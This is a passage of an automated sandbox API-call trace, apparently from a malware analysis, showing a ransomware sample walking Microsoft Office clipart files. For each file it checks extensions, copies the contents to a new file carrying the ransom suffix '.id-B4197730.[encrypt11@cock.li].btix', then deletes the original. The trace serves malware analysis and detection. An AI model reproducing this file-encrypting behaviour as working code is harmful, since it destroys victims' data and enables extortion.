lpString2=".WMF") returned -1 [0152.579] lstrlenW (lpString=".bz2") returned 4 [0152.579] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.579] lstrlenW (lpString=".7z") returned 3 [0152.579] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0152.579] lstrlenW (lpString=".dbf") returned 4 [0152.579] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0152.579] lstrlenW (lpString=".1cd") returned 4 [0152.579] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0152.579] lstrlenW (lpString=".jpg") returned 4 [0152.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0152.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0152.580] lstrlenW (lpString=".doc") returned 4 [0152.580] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0152.580] lstrlenW (lpString=".docx") returned 5 [0152.580] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0152.580] lstrlenW (lpString=".pdf") returned 4 [0152.580] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0152.580] lstrlenW (lpString=".xls") returned 4 [0152.580] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0152.580] lstrlenW (lpString=".xlsx") returned 5 [0152.580] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0152.580] lstrlenW (lpString=".ppt") returned 4 [0152.580] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0152.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0152.580] lstrlenW (lpString=".zip") returned 4 [0152.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0152.580] lstrlenW (lpString=".rar") returned 4 [0152.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0152.580] lstrlenW (lpString=".bz2") returned 4 [0152.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0152.580] lstrlenW (lpString=".7z") returned 3 [0152.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0152.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0152.580] lstrlenW (lpString=".dbf") returned 4 [0152.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0152.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0152.580] lstrlenW (lpString=".1cd") returned 4 [0152.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0152.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105846.WMF") returned 68 [0152.580] lstrlenW (lpString=".jpg") returned 4 [0152.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0152.581] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0152.581] lstrlenW (lpString="J0105912.WMF") returned 12 [0152.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.581] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=11720) returned 1 [0152.581] CloseHandle (hObject=0x348) returned 1 [0152.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 0x220 [0152.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0152.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0152.581] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.581] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0152.582] GetLastError () returned 0x0 [0152.582] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x2dc8, lpOverlapped=0x0) returned 1 [0153.076] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x2dd0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x2dd0, lpOverlapped=0x0) returned 1 [0153.076] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.076] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.077] SetEndOfFile (hFile=0x378) returned 1 [0153.077] CloseHandle (hObject=0x378) returned 1 [0153.077] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.077] SetEndOfFile (hFile=0x348) returned 1 [0153.078] CloseHandle (hObject=0x348) returned 1 [0153.078] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.078] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 1 [0153.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0153.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0153.078] lstrlenW (lpString=".doc") returned 4 [0153.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.078] lstrlenW (lpString=".docx") returned 5 [0153.078] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.078] lstrlenW (lpString=".pdf") returned 4 [0153.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.078] lstrlenW (lpString=".xls") returned 4 [0153.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.078] lstrlenW (lpString=".xlsx") returned 5 [0153.078] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.078] lstrlenW (lpString=".ppt") returned 4 [0153.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0153.078] lstrlenW (lpString=".zip") returned 4 [0153.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.078] lstrlenW (lpString=".rar") returned 4 [0153.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.079] lstrlenW (lpString=".bz2") returned 4 [0153.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.079] lstrlenW (lpString=".7z") returned 3 [0153.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0153.079] lstrlenW (lpString=".dbf") returned 4 [0153.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0153.079] lstrlenW (lpString=".1cd") returned 4 [0153.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0153.079] lstrlenW (lpString=".jpg") returned 4 [0153.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0153.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0153.079] lstrlenW (lpString=".doc") returned 4 [0153.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.079] lstrlenW (lpString=".docx") returned 5 [0153.079] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0153.079] lstrlenW (lpString=".pdf") returned 4 [0153.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.079] lstrlenW (lpString=".xls") returned 4 [0153.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.079] lstrlenW (lpString=".xlsx") returned 5 [0153.079] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0153.079] lstrlenW (lpString=".ppt") returned 4 [0153.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0153.079] lstrlenW (lpString=".zip") returned 4 [0153.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.079] lstrlenW (lpString=".rar") returned 4 [0153.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.079] lstrlenW (lpString=".bz2") returned 4 [0153.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.079] lstrlenW (lpString=".7z") returned 3 [0153.080] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0153.080] lstrlenW (lpString=".dbf") returned 4 [0153.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0153.080] lstrlenW (lpString=".1cd") returned 4 [0153.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF") returned 68 [0153.080] lstrlenW (lpString=".jpg") returned 4 [0153.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.080] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0153.080] lstrlenW (lpString="J0107148.WMF") returned 12 [0153.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.080] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=20136) returned 1 [0153.080] CloseHandle (hObject=0x348) returned 1 [0153.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 0x220 [0153.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0153.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.080] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.081] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0153.081] GetLastError () returned 0x0 [0153.081] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x4ea8, lpOverlapped=0x0) returned 1 [0153.082] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x4eb0, lpOverlapped=0x0) returned 1 [0153.083] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.083] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.083] SetEndOfFile (hFile=0x378) returned 1 [0153.083] CloseHandle (hObject=0x378) returned 1 [0153.083] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.083] SetEndOfFile (hFile=0x348) returned 1 [0153.084] CloseHandle (hObject=0x348) returned 1 [0153.084] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.084] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf")) returned 1 [0153.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0153.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0153.095] lstrlenW (lpString=".doc") returned 4 [0153.095] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.095] lstrlenW (lpString=".docx") returned 5 [0153.095] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.095] lstrlenW (lpString=".pdf") returned 4 [0153.095] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.095] lstrlenW (lpString=".xls") returned 4 [0153.095] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.095] lstrlenW (lpString=".xlsx") returned 5 [0153.095] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.095] lstrlenW (lpString=".ppt") returned 4 [0153.095] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.095] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0153.095] lstrlenW (lpString=".zip") returned 4 [0153.095] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.096] lstrlenW (lpString=".rar") returned 4 [0153.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.096] lstrlenW (lpString=".bz2") returned 4 [0153.096] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.096] lstrlenW (lpString=".7z") returned 3 [0153.096] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0153.096] lstrlenW (lpString=".dbf") returned 4 [0153.096] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0153.096] lstrlenW (lpString=".1cd") returned 4 [0153.096] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0153.096] lstrlenW (lpString=".jpg") returned 4 [0153.096] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0153.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0153.096] lstrlenW (lpString=".doc") returned 4 [0153.096] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.096] lstrlenW (lpString=".docx") returned 5 [0153.096] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0153.096] lstrlenW (lpString=".pdf") returned 4 [0153.096] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.096] lstrlenW (lpString=".xls") returned 4 [0153.096] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.096] lstrlenW (lpString=".xlsx") returned 5 [0153.096] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0153.096] lstrlenW (lpString=".ppt") returned 4 [0153.096] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0153.096] lstrlenW (lpString=".zip") returned 4 [0153.096] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.096] lstrlenW (lpString=".rar") returned 4 [0153.096] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.097] lstrlenW (lpString=".bz2") returned 4 [0153.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.097] lstrlenW (lpString=".7z") returned 3 [0153.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0153.097] lstrlenW (lpString=".dbf") returned 4 [0153.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0153.097] lstrlenW (lpString=".1cd") returned 4 [0153.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF") returned 68 [0153.097] lstrlenW (lpString=".jpg") returned 4 [0153.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.097] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0153.097] lstrlenW (lpString="J0107150.WMF") returned 12 [0153.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.097] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=13456) returned 1 [0153.097] CloseHandle (hObject=0x348) returned 1 [0153.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 0x220 [0153.097] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0153.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0153.098] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.098] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0153.098] GetLastError () returned 0x0 [0153.098] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x3490, lpOverlapped=0x0) returned 1 [0153.099] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0x34a0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0x34a0, lpOverlapped=0x0) returned 1 [0153.100] ReadFile (in: hFile=0x348, lpBuffer=0x3d21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.100] WriteFile (in: hFile=0x378, lpBuffer=0x3d21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesWritten=0x315fc94*=0xec, lpOverlapped=0x0) returned 1 [0153.100] SetEndOfFile (hFile=0x378) returned 1 [0153.100] CloseHandle (hObject=0x378) returned 1 [0153.100] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.100] SetEndOfFile (hFile=0x348) returned 1 [0153.101] CloseHandle (hObject=0x348) returned 1 [0153.101] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0153.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf")) returned 1 [0153.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0153.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0153.101] lstrlenW (lpString=".doc") returned 4 [0153.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.102] lstrlenW (lpString=".docx") returned 5 [0153.102] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.102] lstrlenW (lpString=".pdf") returned 4 [0153.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.102] lstrlenW (lpString=".xls") returned 4 [0153.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.102] lstrlenW (lpString=".xlsx") returned 5 [0153.102] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.102] lstrlenW (lpString=".ppt") returned 4 [0153.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0153.102] lstrlenW (lpString=".zip") returned 4 [0153.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.102] lstrlenW (lpString=".rar") returned 4 [0153.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.102] lstrlenW (lpString=".bz2") returned 4 [0153.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.102] lstrlenW (lpString=".7z") returned 3 [0153.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0153.102] lstrlenW (lpString=".dbf") returned 4 [0153.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF") returned 68 [0153.102] lstrlenW (lpString=".1cd") returned 4 [0153.102] lstrcmpiW 